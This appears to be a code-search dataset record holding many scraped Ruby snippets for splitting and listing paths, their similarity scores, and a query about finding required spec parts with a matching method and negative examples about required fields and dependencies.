"def split( uri )\n\t # i.e. URI = http://localserver:2364/Wubi/WubiOS.zip\n\t imgIdx = uri.rindex('/')\n\t image = \"%s\"%uri[ imgIdx .. -1 ]\n\t srvIdx = findOccurrence( uri, \"/\", 3 )\n\t cdmi = \"%s\"%uri[ 0 .. srvIdx-1 ]\n\t container = \"%s\"%(uri[ srvIdx .. imgIdx-1 ])\n\n\t return [cdmi, container, image]\n\tend",
"def segments\n if !@segments.present?\n @segments = path.split('/').select { |s| !s.empty? }\n else\n @segments\n end\n end",
"def split_names(path)\n names = []\n while r = chop_basename(path)\n path, basename = r\n names.unshift basename\n end\n return path, names\n end",
"def split_paths\n symbols = ox_doc.locate('svg/defs/g/symbol')\n symbols.each do |symbol|\n path = symbol.nodes.first\n parsed_path = Savage::Parser.parse(path[:d])\n subpath_elements = []\n\n parsed_path.subpaths.each do |subpath|\n path_element = Ox::Element.new('path').tap { |prop| prop[:d] = subpath.to_command }\n subpath_elements.push path_element\n end\n\n symbol.nodes.clear\n subpath_elements.each { |pth| symbol << pth }\n end\n end",
"def parts(pathname)\n # [\"005010\", \"X221 HP835 Health Care Claim Payment Advice\"]\n parts = pathname.each_filename.to_a\n version, name, = parts\n\n case name\n when /^(X[^ ]+) ([^ ]+)/ # (X221) (HP835) Health Care Claim Payment Advice\n a, b = $1, $2\n gs01 = b[/^.{2}/]\n gs08 = [version, a]\n st01 = b[/.{3}$/]\n\n [versions.fetch(version, version), \"Implementations\", gs01, gs08, st01]\n\n when /^([A-Z]{2})(\\d{3})/ # (HP835) Health Care Claim Payment Advice\n gs01 = $1\n gs08 = [version]\n st01 = $2\n\n [versions.fetch(version, version), \"Standards\", gs01, gs08, st01]\n else\n raise name.inspect\n end\n end",
"def split_names(path)\n names = []\n while r = chop_basename(path)\n path, basename = r\n names.unshift basename\n end\n return path, names\n end",
"def get_striped_paths(path)\n\t\t\tstriped_paths = @stripes.dup\n\t\t\treturn striped_paths if path == \"/\"\n\t\t\t\n\t\t\tpathname = Pathname.new(path)\n\t\t\tpathname.each_filename do |filename|\n\t\t\t\tstriped_paths.each_with_index do |stripe, index| \n\t\t\t\t\tstriped_paths[index] = striped_paths[index] + \"#{filename}.#{index+1}\"\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tstriped_paths\n\t\tend",
"def split_path\n to_s.split_path\n end",
"def paths\n f = File.open(@path)\n f.grep(FILE_NAME_PATTERN) { $1 }\n end",
"def split_names(path)\n names = []\n while r = chop_basename(path)\n path, basename = r\n names.unshift basename\n end\n return path, names\n end",
"def files\n real_path = self.path[2...-1] + \"s/*\"#trim './' and add 's/*' \n \n Dir[real_path].map{|file| file.split(\"/\")[-1]} \n end",
"def parts_to_fill\n parts = []\n sentence.scan(/(?:\\/)([^\\/]+)(?:\\/)/) { |group| parts << group[0] }\n parts\n end",
"def expand_all path\n real_path = VirtualLayer.realpath(path)\n elems = real_path.split('/'); elems.shift # throw away the first element which is empty for a FQ pathname\n if path[-1] == '/'\n filt_fn = ->(p) { VirtualLayer.directory?(p) }\n else\n filt_fn = ->(p) { p }\n end\n result = rejoin(walk_globs(elems)).flatten.select(&filt_fn).sort\n\n if path[0] == '/'\n result\n else\n cwd = VirtualLayer.pwd\n result.map {|p| p[(cwd.length+1)..] }\n end\nend",
"def extract_parts\n parts_regex = /\n (?: # non-capturing group\n \\A | # start of string OR\n \\r\\n # line break\n )\n (\n --#{Regexp.escape(boundary || \"\")} # boundary delimiter\n (?:--)? # with non-capturing optional closing\n )\n (?=\\s*$) # lookahead matching zero or more spaces followed by line-ending\n /x\n parts = raw_source.split(parts_regex).each_slice(2).to_a\n parts.each_with_index { |(part, _), index| parts.delete_at(index) if index > 0 && part.blank? }\n\n if parts.size > 1\n final_separator = parts[-2][1]\n parts << [\"\"] if final_separator != \"--#{boundary}--\"\n end\n parts.map(&:first)\n end",
"def splitname(path)\n [dirname(path), filename(path), extname(path)]\n end",
"def extract(path, env)\n case Perfectline::LocaleRouting::Config.match_from\n when :params then path = extract_from_params(path)\n when :host then extract_from_host(env)\n end\n\n return path\n end",
"def partial_pieces(partial_path)\n if partial_path.include?('/')\n return File.dirname(partial_path), File.basename(partial_path)\n else\n return controller.class.controller_path, partial_path\n end\n end",
"def split_path(str)\n return str.map(&:to_s) if str.is_a?(::Array)\n @delimiter_handler.split_path(str.to_s)\n end",
"def path_part(part)\n @_path_parts ||= app.blog.drafts.path_matcher.match(path).captures\n\n @_path_parts[app.blog.drafts.matcher_indexes[part]]\n end",
"def rel_split(fallback: true)\n\t\t\t\tif (i=components.index(\".\"))\n\t\t\t\t\tdirname=Pathname.new(components[0..i-1].join(\"/\"))\n\t\t\t\t\tbasename=Pathname.new(components[i+1..-1].join(\"/\"))\n\t\t\t\telsif fallback\n\t\t\t\t dirname=self.dirname\n\t\t\t\t basename=self.basename\n\t\t\t\tend\n\t\t\t\treturn dirname,basename\n\t\t\tend",
"def subdir_and_filename_for(entry)\n Pathname.new(entry).split\n end",
"def to_a = @paths.dup",
"def multi_from_path(path)\n without_slash = path.gsub(/^\\//, \"\")\n request_object(:get, \"/api/multi/\" + without_slash)\n end",
"def match_paths(path)\n # Turn multiple slashes into one\n # nodes//x -> nodes/x\n path = path.gsub(%r{[/]+}, \"/\")\n # If it's absolute, start the matching with /. If it's relative, start with '' (relative root).\n if path[0] == \"/\"\n matches = [ \"/\" ]\n else\n matches = [ \"\" ]\n end\n\n # Split the path, and get rid of the empty path at the beginning and end\n # (/a/b/c/ -> [ 'a', 'b', 'c' ])\n parts = path.split(\"/\").select { |x| x != \"\" }.to_a\n\n # Descend until we find the matches:\n # path = 'a/b/c'\n # parts = [ 'a', 'b', 'c' ]\n # Starting matches = [ '' ]\n parts.each_with_index do |part, index|\n # For each match, list <match>/<part> and set matches to that.\n #\n # Example: /*/foo\n # 1. To start,\n # matches = [ '/' ], part = '*'.\n # list('/', '*') = [ '/organizations, '/users' ]\n # 2. matches = [ '/organizations', '/users' ], part = 'foo'\n # list('/organizations', 'foo') = [ '/organizations/foo' ]\n # list('/users', 'foo') = [ '/users/foo' ]\n #\n # Result: /*/foo = [ '/organizations/foo', '/users/foo' ]\n #\n matches = matches.parallel_map do |pth|\n found, error = list(pth, part)\n if error\n if parts[0..index - 1].all? { |p| p != \"*\" }\n raise error\n end\n\n []\n else\n found\n end\n end.flatten.to_a\n end\n\n matches\n end",
"def paths\n\t\tresponse = self.server.run_with_json_template( :paths )\n\t\treturn response.each_with_object({}) do |entry, hash|\n\t\t\thash[ entry[:name].to_sym ] = URI( entry[:url] )\n\t\tend\n\tend",
"def paths_split(paths, filename)\n paths.each do |path|\n base = \"#{path}#{File::SEPARATOR}\"\n if filename.start_with?(base)\n return path, filename[base.length..-1]\n end\n end\n nil\n end",
"def get_path(uri)\n name = uri.gsub(\"http://\", \"\")\n dir_list = name.split(\"/\")\n return dir_list\n end",
"def paths\n names = Array.new\n each_tarball_entry { |entry| names << Pathname.new(entry).cleanpath.to_s }\n names - ['.']\n end",
"def split_paths(paths)\n (paths || '').split(File::PATH_SEPARATOR).map { |p| to_pathname(p) }\n end",
"def parse(node_path)\n path = node_path[1..-1] while node_part.start_with '/' # lstrip '/'\n key = []\n for part in @path\n if part.is_a? String\n if path.start_with(part)\n path = path[part.length..-1]\n else\n raise \"Incorrect path for #{self} at #{part}: #{node_path} at #{part}\"\n end\n elsif part.is_a? Symbol\n value, path = path.split('/', 1)\n key << value\n else\n raise \"Invalid path part: #{part}\"\n end\n end\n key\n end",
"def content_paths(path)\n arr = []\n @content_tree.with_subtree(path, nil, nil) do |node|\n arr << node.doc_path\n end\n arr\n end",
"def split_filename(path)\n pathname = Pathname.new(path.value)\n list(quoted_string(pathname.dirname.to_s),\n quoted_string(pathname.basename(pathname.extname).to_s),\n quoted_string(pathname.extname.to_s),\n :space)\n end",
"def guest_paths(folders)\n folders.map { |parts| parts[2] }\n end",
"def split(parts); end",
"def list_paths\n @paths = RouteRecognizer.new.initial_path_segments.reject do |path|\n %w(assets rails).include? path\n end\n end",
"def path_components\n ENV[\"PATH\"].split(File::PATH_SEPARATOR)\n end",
"def paths; end",
"def paths; end",
"def paths; end",
"def paths; end",
"def paths; end",
"def split_wiki_path(path)\n if path == \"/\"\n [ @default_coll_name, @default_wiki_name, \"/\" ]\n else\n path = path[1..-1] if path[0] == '/'\n path = path[0..-2] if path[-1] == '/'\n path = path.gsub(%r{//+}, '/')\n\n cn, wn, pn = path.split('/', 3)\n if wn.nil?\n [ cn, @default_wiki_name, \"/\" ]\n elsif pn.nil?\n [ cn, wn, \"/\" ]\n else\n [ cn, wn, pn ]\n end\n end\n end",
"def metadata_paths(path)\n arr = []\n @metadata_tree.with_subtree(path, nil, nil, nil) do |node|\n arr << node.doc_path\n end\n arr\n end",
"def path_segments(path, segments = [])\n if path == '/'\n return segments\n else\n prefix, _ = File.split(path)\n return path_segments(prefix, [path] + segments)\n end\n end",
"def parts; end",
"def parts; end",
"def parts; end",
"def get_possible_hosts_paths(parts)\n case parts['host']\n when Resolv::IPv4::Regex\n ip = true\n when Resolv::IPv6::Regex\n ip = true\n else\n ip = false\n end\n\n # For the hostname, the client will try at most 5 different strings. They are:\n # - the exact hostname in the url\n # - up to 4 hostnames formed by starting with the last 5 components and successively removing the leading component.\n # The top-level domain can be skipped. These additional hostnames should not be checked if the host is an IP address.\n possible_hosts = []\n\n if(!ip)\n host = parts['host'].split('.')\n [host.length - 2, 4].min.times do |i|\n possible_hosts.push(host[host.length-2-i..-1].join('.'))\n end\n end\n possible_hosts.push(parts['host'])\n possible_hosts.reverse!\n\n # For the path, the client will also try at most 6 different strings. They are:\n # - the exact path of the url, including query parameters\n # - the exact path of the url, without query parameters\n # - the 4 paths formed by starting at the root (/) and successively appending path components, including a trailing slash.\n possible_paths = []\n\n if(parts['query'] != '')\n possible_paths.push(parts['path'] + parts['query'])\n end\n possible_paths.push(parts['path'])\n\n path = parts['path'].split('/')\n [path.length - 1, 5].min.times do |i|\n possible_path = path[0..i].join('/')\n if(possible_path == '' || i < path.length - 1)\n possible_path += '/'\n end\n\n possible_paths.push(possible_path)\n end\n\n return possible_hosts, possible_paths\n end",
"def find_route_info(packet, path)\n parts = path.split('/')\n pad = parts.shift\n matched = home(packet, :subsite => true)\n extras = ''\n while (!parts.empty?)\n next_part = parts.shift\n matches = matched.children.first(:slug => next_part)\n if(matches) \n matched = matches\n else\n extras = parts.unshift(next_part).unshift(pad).join('/')\n parts = []\n end\n end\n [extras, matched]\n end",
"def list\n Dir.glob(\"#{@path}/**/*\").select{|path| File.file?(path) }.map do |path|\n path.sub Regexp.new(\"^#{@path}\\/\"), ''\n end\n end",
"def path(*elements) #Create a path from the elements\n#-------------------------------------------------------------------------------\n path=elements.join('/').strip #Remove leading and trailing whitespace\n while path.gsub!('//','/'); end #Remove duplicate slashes\n return path\nend",
"def get_dirs_and_files(list, path)\n path ||= '.'\n dirs = []\n files = []\n list.each{|l|\n parsed = l.split ' '\n if parsed.size != 9\n puts \"parsed line '#{list}' into something that wasn't 9 pieces\"\n end\n if parsed[0][0] == 'd'\n dirs << \"#{path}/#{parsed[8]}\"\n else\n files << [\"#{path}/#{parsed[8]}\", parsed[4]]\n end\n }\n [dirs, files]\n end",
"def split() File.split(@path).map {|f| self.class.new(f) } end",
"def expand_files map, config\n files = Array.new\n if config.has_key? map\n config[map].each do |v|\n m = /^\\/.*/.match v #starts with /, otherwise it's a group name\n if m\n files << m.to_s\n else\n files + (expand_files m.to_s, config)\n end\n end\n end\n return files\nend",
"def SubPaths()\n #puts \"Searching subpaths in #{to_s()}\"\n entries = Dir.entries(AbsolutePath())\n subPaths = []\n \n #puts \"Found entries #{entries}\"\n \n entries.each do |entry|\n if(entry == \"..\" || entry == \".\")\n next\n end\n \n copy = CreateCopy()\n \n #puts \"Copy is #{copy}\"\n \n copy.RelativePath = JoinPaths([copy.RelativePath, entry])\n subPaths.push(copy)\n \n #puts \"Created path #{copy} for entry #{entry}\"\n end\n \n return subPaths\n end",
"def each_pair_in_path(path)\n path.each_with_index do |name, i|\n yield name, path[i+1] unless path[i+1].nil?\n end\n end",
"def extract_path( request )\n request.traits.waves.path ||= request.path.chomp(request.ext).scan(/[^\\/]+/).map { |e| Rack::Utils.unescape(e) }\n end",
"def fully_split_pathname(pathname, accumulator = nil)\n accumulator ||= Array.new\n rest, last = pathname.split\n accumulator << last.to_s\n if rest.to_s == '.'\n return accumulator.reverse\n else\n return fully_split_pathname(rest, accumulator)\n end\n end",
"def keys\n return full_path.to_s.split('.') if full_path\n return [key.to_s] unless path&.present?\n\n [path, key].compact.join('.').split('.')\n end",
"def split_relative_url(relative_url)\n relative_url.match(%r{^/([^/#]+)(.*?)$}).to_a\n end",
"def path_array\n a = []\n each_filename { |ea| a << ea }\n a\n end",
"def entries() Dir.entries(path).map {|f| Path::Name.new(f) } end",
"def read_paths(output_file)\n rows = []\n paths = []\n File.readlines(output_file).map do |line|\n rows << line.chomp.split(\"#\")\n end\n for r in rows \n str = r[0].split(\" \")\n paths << [ str[2].to_i, str[3].to_i, str[4] ]\n end\n return paths\nend",
"def get_subresources(path)\n ret = []\n @route_info.keys.sort.each do |sub|\n if RAPIDoc.is_sub_path(path, sub)\n ret << sub\n end\n end\n return ret\n end",
"def split_wiki_path_wp(path)\n cn, wn, pn = split_wiki_path path\n [\"#{cn}/#{wn}\", pn]\n end",
"def paths_sequences_from_uri(uri)\n paths = uri.paths[0..-2]\n paths.sequences.uniq.map { |i| i.join('/') }\n end",
"def path_arguments\n\t\t\t\t@path_arguments ||= @path.split('/')\n\t\t\t\t\t.each_with_object(req: [], opt: []) do |part, hash|\n\t\t\t\t\t\t## Take only argument parts\n\t\t\t\t\t\tnext if part[0] != Router::ARG_CHAR\n\t\t\t\t\t\t## Clean argument from special chars\n\t\t\t\t\t\tclean_part = part.delete(\n\t\t\t\t\t\t\tRouter::ARG_CHAR + Router::ARG_CHAR_OPT\n\t\t\t\t\t\t).to_sym\n\t\t\t\t\t\t## Memorize arguments\n\t\t\t\t\t\thash[part[1] != Router::ARG_CHAR_OPT ? :req : :opt] << clean_part\n\t\t\t\t\tend\n\t\t\tend",
"def split\n @original_route.split('/')[1..-1]\n end",
"def path_arr()\n return @paths\n end"
] |
[
"0.7646406",
"0.71857566",
"0.6943568",
"0.6903241",
"0.6776759",
"0.6740738",
"0.6617828",
"0.64602107",
"0.63616055",
"0.63610256",
"0.6360628",
"0.6360628",
"0.6358876",
"0.63458794",
"0.6236395",
"0.6206066",
"0.6194004",
"0.61849123",
"0.61780375",
"0.61780375",
"0.61590534",
"0.61590534",
"0.61532056",
"0.61344033",
"0.6072639",
"0.60262436",
"0.6016448",
"0.59774435",
"0.5966977",
"0.5913206",
"0.5900585",
"0.58970094",
"0.5859278",
"0.5851876",
"0.584696",
"0.584419",
"0.5810223",
"0.58095026",
"0.5801363",
"0.5797532",
"0.57793325",
"0.5772339",
"0.5766101",
"0.57610875",
"0.5748843",
"0.57456225",
"0.5735551",
"0.5714028",
"0.56992316",
"0.5687128",
"0.56711686",
"0.56709206",
"0.5663338",
"0.56618655",
"0.5646596",
"0.56339836",
"0.5631871",
"0.56260586",
"0.56173444",
"0.561544",
"0.56144094",
"0.56122583",
"0.5607559",
"0.56029826",
"0.56027997",
"0.5598031",
"0.55959594",
"0.5592005",
"0.5592005",
"0.5592005",
"0.5592005",
"0.5592005",
"0.55908614",
"0.55903244",
"0.55784386",
"0.5577723",
"0.5577723",
"0.5577723",
"0.55618745",
"0.5561347",
"0.55524147",
"0.55472493",
"0.55466694",
"0.5526822",
"0.5524998",
"0.5519288",
"0.5510828",
"0.55101764",
"0.5506066",
"0.5502401",
"0.54983145",
"0.549808",
"0.54966974",
"0.5493738",
"0.54899746",
"0.5488619",
"0.5479198",
"0.5472728",
"0.5467647",
"0.5457377"
] |
0.6463575
|
7
|
Find parts that are definitely required and should raise an error if they're not present
|
def __required_parts
required = []
required << 'body' if (@spec['body'] && @spec['body']['required'])
# Get required variables from paths:
req_variables = __path_variables.inject(:&) # find intersection
required << req_variables unless req_variables.empty?
required.flatten
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_required!\n validate_nil_attributes\n\n validate_rubygems_version\n\n validate_required_attributes\n\n validate_name\n\n validate_require_paths\n\n @specification.keep_only_files_and_directories\n\n validate_non_files\n\n validate_self_inclusion_in_files_list\n\n validate_specification_version\n\n validate_platform\n\n validate_array_attributes\n\n validate_authors_field\n\n validate_metadata\n\n validate_licenses_length\n\n validate_lazy_metadata\n\n validate_duplicate_dependencies\n end",
"def require_if_present(names); end",
"def requireds\n\t\tHash[ select {|i,f| f.required? } ]\n\tend",
"def validateDependencies\n params[:dependencies].split(\"&\").each do |dependency|\n dependency_values = dependency.split(\"=\")\n versions = Version.where(:part_name => dependency_values[0])\n\n if versions.empty?\n render :text => \"Part: #{dependency_values[0]} does not exist.\", status: 400\n return\n else\n part = versions.where(:version => dependency_values[1]).first\n if part.nil?\n render :text => \"Part: #{dependency_values[0]} with version: #{dependency_values[1]} does not exist\", status: 400\n return\n end\n end\n end\n\n render :nothing => true, status: 200\n end",
"def validate_parts_presence!(grid_infos, part_uids)\n if grid_infos.count != part_uids.count\n raise Tus::Error, \"some parts for concatenation are missing\"\n end\n end",
"def requires!\n @required_params.each do |param| \n key = (param.is_a?(Array) ? param.first : param)\n verify_required_param(key)\n end\n end",
"def assume_parts\n # Check if unit is in street number\n # 1) If street number has - or / unit is the smallest length\n # 2) If street number is all nums except 1 letter, letter is unit\n search_for_unit_in_street_num if @parts[:unit].nil? && @parts[:street_number]\n\n # Search for the street_name elsewhere\n search_for_street_name if @parts[:street_name].nil?\n\n # set puerto rico as the state\n @parts[:state] = @parts[:country] if @parts[:state].nil? && @parts[:country] == 'pr'\n\n return if @parts[:bus].nil? || @parts[:bus].empty?\n\n search_for_label_in_bus if @parts[:street_label].nil?\n search_for_state_in_bus if @parts[:state].nil?\n\n end",
"def required\n []\n end",
"def dep_check\n $gems_required.each do |current_gem|\n begin\n if current_gem.include? \",\"\n tokens = current_gem.split(\",\")\n gem tokens[0], tokens[1]\n else\n gem current_gem\n end\n rescue Gem::LoadError\n if current_gem.include? \",\"\n $gems_missing_version << current_gem\n else\n $gems_missing << current_gem\n end\n end\n end\n if $gems_missing.length == 0 && $gems_missing_version.length == 0\n return true\n else\n return false\n end\nend",
"def check_required_attributes\n attributes = DSL.attributes.values.select(&:required?)\n attributes.each do |attr|\n value = spec.send(attr.name)\n unless value && (!value.respond_to?(:empty?) || !value.empty?)\n if attr.name == :license\n results.add_warning('attributes', 'Missing required attribute ' \\\n \"`#{attr.name}`.\")\n else\n results.add_error('attributes', 'Missing required attribute ' \\\n \"`#{attr.name}`.\")\n end\n end\n end\n end",
"def ensure_par(req, msg = '%<name>s is mandatory: please provide %<flag>s')\n req.each do |k, v|\n raise (msg % { name: k, flag: v }) if self[k].nil?\n end\n end",
"def missing_required_arguments\n model.arguments.find_all do |arg|\n arg_sym = arg.name.to_sym\n if arguments.has_key?(arg_sym)\n TaskArguments.delayed_argument?(arguments.fetch(arg_sym))\n else\n arg.required?\n end\n end\n end",
"def check_required_params\n errors = required_params.map { |param, value| raise param_errors[param] if value.nil? }.compact\n raise errors.joins('; ') unless errors.empty?\n end",
"def required?\n required.any?\n end",
"def assert_required_params params, required_params\n missing_params = []\n required_params.each do |p|\n missing_params << p if params[p].blank?\n end\n\n raise MissingParams.new(missing_params) if missing_params.any?\n end",
"def required_params_present(params, * parameters)\n errors = []\n if params.present?\n parameters.each do |param|\n if params[param].blank?\n errors << \"#{param.to_s}\" if errors.any?\n errors << \"parameter missing: #{param.to_s}\" if errors.empty?\n end\n end\n else\n errors << \"parameters missing\"\n end\n [errors.blank? ? true : false, errors]\n end",
"def match_requirements r,p,path=\"\"\n r.each { |k|\n if not p.has_key? k\n @fails << \"Missing #{path}/#{k}\"\n else\n if r[k].class == Hash\n if p[k].class != Hash\n @fails << \"'provides' #{path}/#{k} should be a hash because 'requires' is.\"\n else\n match_requirements r[k],p[k],\"#{path}/#{k}\"\n end\n end\n end\n }\n end",
"def required; end",
"def required; end",
"def required; end",
"def elements_missing\n elements_to_check.reject { |name| there?(name) }\n end",
"def triggered_mandatory_missing\n qs = survey.sections.map(&:questions).flatten\n #ds = Dependency.all(:include => :dependency_conditions, :conditions => {:dependency_conditions => {:question_id => qs.map(&:id) || responses.map(&:question_id)}})\n ds = Dependency.includes(:dependency_conditions).where(:question_id => qs.map(&:id) || responses.map(&:question_id) )\n triggered = qs - ds.select{|d| !d.is_met?(self)}.map(&:question)\n triggered_mandatory = triggered.select{|q| q.mandatory?}\n triggered_mandatory_completed = triggered.select{|q| q.mandatory? and is_answered?(q)}\n triggered_mandatory_missing = triggered_mandatory - triggered_mandatory_completed\n return triggered_mandatory_missing\n end",
"def has_required?; end",
"def verify_required_files\n required = REQUIRED_FILES.map{ |f| [f, false] }.to_h\n\n each_zip_entry do |entry|\n if required.key? entry.name\n required[entry.name] = true\n\n if entry.name == \"mod.hcl\"\n load_manifest entry\n end\n end\n end\n\n REQUIRED_FILES.each do |f|\n if required[f] == false\n raise FoobarMod::Package::FormatError.new \"Missing required file '#{f}'\", @mod\n end\n end\n end",
"def required?\n !!if self.namespace\n self.find_first 'ns:required', :ns => self.namespace.href\n else\n self.find_first 'required'\n end\n end",
"def missing_deps_for(gem)\n # Comparison by name here assuming if it is in existing spec,\n # spec author will have ensured versions are correct for their purposes\n gem.deps.select { |dep| requirements_for_gem(dep.name).empty? }\n end",
"def required_args\n args.select &:required\n end",
"def find_missing(spec_names)\n spec_names.find_all { |full_name|\n specification(full_name).nil?\n }\n end",
"def validate_required_params required_params\n @find_by_ext_id = false\n missing_params = []\n \n required_params.each { |k| \n if k.to_s == \"id\" and !params[:external_id].blank?\n @find_by_ext_id = true\n params[:id] = params[:external_id]\n next\n end\n\n unless params[:criteria].has_key?(k)\n missing_params << k\n end\n }\n \n missing_params\n end",
"def all_required(data, fields)\t\t\n\t\tif fields.nil? == true\n\t\t\treturn true\n\t\tend\n\t\t@api_errmsg = Array.new\n\t\tfields = fields.split(',')\n\t\tflag = true\n\t\tfields.each do |name|\n\t\t\tif data[name].nil?\n\t\t\t @api_errmsg.push(name)\n\t\t\t flag = false\n\t\t\tend\n\t\tend\n\t\tif flag == true\n\t\t return true\n\t\tend\n\t\treturn false\n\tend",
"def validate_prerequisites_consistency\n used = map_attributes(RoleConfigFile::PREREQUISITE).compact\n return if used.empty? || used.size == @elements.size && used.uniq.size <= 1\n\n @errors << \"Prerequisite annotation must be used consistently across all resources of each role\"\n end",
"def check_required_fields(data)\r\n @field_names[1..-1].each do |f|\r\n raise(ArgumentError,\r\n 'A value for this field is required: %s' % f) if \\\r\n @field_requireds[@field_names.index(f)] and data[f].nil? \r\n end\r\n end",
"def required(*params)\n @required = params unless params.empty?\n @required ||= []\n end",
"def check_for_requirements; end",
"def parse_required(input)\n gemspecs = []\n input.split(\"\\n\").grep(/^no such file to load -- (.+)\\s*$/) do |line|\n gemspecs << {:name => $1.strip}\n end\n gemspecs\n end",
"def validate_required(*required_parameters)\n if self[:ensure] == :present\n required_parameters.each do |req_param|\n raise ArgumentError, \"parameter '#{req_param}' is required\" if self[req_param].nil?\n end\n end\n end",
"def validate_required(*required_parameters)\n if self[:ensure] == :present\n required_parameters.each do |req_param|\n raise ArgumentError, \"parameter '#{req_param}' is required\" if self[req_param].nil?\n end\n end\n end",
"def validate_required(*required_parameters)\n if self[:ensure] == :present\n required_parameters.each do |req_param|\n raise ArgumentError, \"parameter '#{req_param}' is required\" if self[req_param].nil?\n end\n end\n end",
"def check_required_options(option_set_name, options = {})\n required_options = REQUIRED_OPTIONS[option_set_name]\n missing = []\n required_options.each{|option| missing << option if options[option].nil?}\n \n unless missing.empty?\n raise MissingInformationError.new(\"Missing #{missing.collect{|m| \":#{m}\"}.join(', ')}\")\n end\n end",
"def required_positionals; end",
"def non_gem_requirements\n @metadata[:requires].nil? ? [] :\n @metadata[:requires].select { |r| !r.gem? }\n end",
"def required?(name); end",
"def required_fields\n required_fields = []\n ignore_fields = [:id, :date_entered, :date_modified]\n self.fields.each_value do |field|\n next if ignore_fields.include? field[\"name\"].to_sym\n required_fields << field[\"name\"].to_sym if field[\"required\"] == 1\n end \n required_fields\n end",
"def required_fields\n required_fields = []\n ignore_fields = [:id, :date_entered, :date_modified]\n self.fields.each_value do |field|\n next if ignore_fields.include? field[\"name\"].to_sym\n required_fields << field[\"name\"].to_sym if field[\"required\"] == 1\n end \n required_fields\n end",
"def required?\n true\n end",
"def validate_required_fields\n user = new_record? ? author : current_journal.try(:user)\n\n required_attribute_names(user).each do |attribute|\n if /^\\d+$/.match?(attribute)\n attribute = attribute.to_i\n v = custom_field_values.detect {|v| v.custom_field_id == attribute}\n if v && Array(v.value).detect(&:present?).nil?\n errors.add(v.custom_field.name, l('activerecord.errors.messages.blank'))\n end\n else\n if respond_to?(attribute) && send(attribute).blank? && !disabled_core_fields.include?(attribute)\n next if attribute == 'category_id' && project.try(:issue_categories).blank?\n next if attribute == 'fixed_version_id' && assignable_versions.blank?\n\n #####\n # START PATCH\n next if attribute == 'typology_id' && !project.module_enabled?('typologies')\n next if attribute == 'typology_id' && project.typologies.blank?\n # END PATCH\n #####\n\n errors.add attribute, :blank\n end\n end\n end\n end",
"def required?\n spec['Required']\n end",
"def valid_for_part?(part)\n sym = part.to_sym\n raise ArgumentError, \"Invalid application part given: #{sym} isn't one of #{PARTS.keys}\" unless PARTS.keys.include?(sym)\n valid?\n self.errors.keys.none?{|k| PARTS[sym].include?(k)}\n end",
"def _validate_presence_of(*params)\n\t\tparams.each do |param|\n\t\t\traise ArgumentError, PRESENCE_REQUESTED if param.nil?\n\t\tend\n\tend",
"def elements_present\n elements_to_check.select { |name| there?(name) }\n end",
"def test_required\n required = true\n if @subject.nil? || @subject.empty?\n WhoToWho.log.warn 'you need define a subject'\n required = false\n end\n\n if @content.nil? || @content.empty?\n WhoToWho.log.warn 'you need define a file or a file not empty for you mail template'\n required = false\n end\n\n if @list_link.nil? || @list_link.empty? || @list_link.size < 2\n WhoToWho.log.warn 'The list of data need define by a file. This file can\\'t be empty or only one data'\n required = false\n end\n\n if ActionMailer::Base.smtp_settings.empty?\n WhoToWho.log.warn 'The configuration of your SMTP account can\\'t be empty'\n required = false\n end\n\n if @from.nil? || @from.empty?\n WhoToWho.log.warn 'You need define a from in your mail settings.'\n required = false\n end\n\n unless required\n puts @full_print\n exit\n end\n end",
"def catch_all_required?\n catch_all.is_a?(Hash) and catch_all['required']\n end",
"def ensure_not_referenced_by_any_line_item\nunless line_items.empty?\nerrors.add(:base, 'Line Items present')\nthrow :abort\nend\nend",
"def ensure_not_referenced_by_any_line_item\nunless line_items.empty?\nerrors.add(:base, 'Line Items present')\nthrow :abort\nend\nend",
"def ensure_not_referenced_by_any_line_item\nunless line_items.empty?\nerrors.add(:base, 'Line Items present')\nthrow :abort\nend\nend",
"def requirements\n []\n end",
"def check_service_and_buildings_present\n errors.add(:base, :services_incomplete) unless services_status == :completed\n errors.add(:base, :buildings_incomplete) unless buildings_status == :completed\n end",
"def validate\n\tvalidate_unexpected_assets_not_present && validate_expected_asset_present && validate_snippet_and_description\nend",
"def ensure_params(*req)\n missing = []\n req.flatten.each do |param|\n if params[param].blank?\n missing << param.to_s\n end\n end\n if missing.empty?\n return false\n else\n msg = \"Following params are required but missing: \" + missing.join(\", \")\n render_api_error(11 , 400, 'params', msg)\n return true\n end\n end",
"def has_required?\n false\n end",
"def verify_dependencies\n missing_frags = {}\n dependency_graph.each do |fragment, dependencies|\n missing = dependencies.to_set - dependency_graph.keys.to_set\n next unless missing.size > 0\n missing_frags[fragment] = missing.to_a\n end\n\n _fail_because_missing(missing_frags) if missing_frags.size > 0\n end",
"def validate_parts!(grid_infos, part_uids)\n validate_parts_presence!(grid_infos, part_uids)\n validate_parts_full_chunks!(grid_infos)\n end",
"def validate_prereq(prereqs, prereq)\n if(prereq && (!prereqs || !prereqs.include?(prereq)))\n raise \"Not all special prereqs were in the given set of prereqs\"\n end\n prereq\n end",
"def has_required_instructions\n unless (REQUIRED_INSTRUCTIONS & instructions.map(&:name)).size == REQUIRED_INSTRUCTIONS.size\n errors.add(:instructions, \"precisa conter pelo menos as seguintes instruções: \" + REQUIRED_INSTRUCTIONS.join(', '))\n end\n end",
"def check_for_required_files(opts={})\n missing_files = 0\n $generated_files.each do |f|\n if !File.exists?(f)\n puts \"Required file missing: #{f}\"\n missing_files +=1\n end\n end\n if missing_files > 0\n error = \"#{missing_files} required files not found. Run `rake build` before deploying.\"\n if opts[:warning] then puts error else fail error end\n end\nend",
"def validate_contents\n missing_elements = self.class.elements.map(&:name).select {|e| !self.respond_to?(e) || self.send(e).nil?}\n raise Exceptions::MissingRequiredElements.new(missing_elements.join(', ')) unless missing_elements.empty?\n\n missing_attributes = self.class.attributes.map(&:name).select {|a| !self.respond_to?(a) || self.send(a).nil?}\n raise Exceptions::MissingRequiredAttributes.new(missing_attributes.join(', ')) unless missing_attributes.empty?\n end",
"def requirements\n []\n end",
"def get_required_esas(uris, components)\n false\n end",
"def get_required_esas(uris, components)\n false\n end",
"def get_required_esas(uris, components)\n false\n end",
"def validate_dependencies_are_present!\n if @podfile_dependency_cache.target_definition_list.all?(&:empty?)\n add_warning 'The Podfile does not contain any dependencies.'\n end\n end",
"def required_fields\n # \"cid\" is not required\n [\n \"byr\",\n \"ecl\",\n \"eyr\",\n \"hcl\",\n \"hgt\",\n \"iyr\",\n \"pid\",\n ]\nend",
